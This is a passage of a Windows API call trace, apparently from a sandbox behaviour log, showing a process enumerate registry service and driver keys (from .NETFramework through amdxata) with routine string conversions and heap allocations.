lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0249.458] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.458] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.459] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f18e0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.459] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1bf8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.459] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.459] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.459] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.459] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.459] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.460] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.460] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1bf8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.460] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.460] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0249.460] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.460] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.461] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.461] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.461] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.461] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.461] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.461] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.462] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.462] RegEnumKeyW (in: hKey=0x154, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.462] RegEnumKeyW (in: hKey=0x154, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0249.462] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.462] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.463] RegEnumKeyW (in: hKey=0x154, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f18e0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.463] RegEnumKeyW (in: hKey=0x154, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.463] RegEnumKeyW (in: hKey=0x154, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f18e0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.463] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.463] RegEnumKeyW (in: hKey=0x154, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.463] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.463] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.464] RegEnumKeyW (in: hKey=0x154, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.464] RegEnumKeyW (in: hKey=0x154, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.464] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0249.464] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.464] RegEnumKeyW (in: hKey=0x154, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0249.464] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 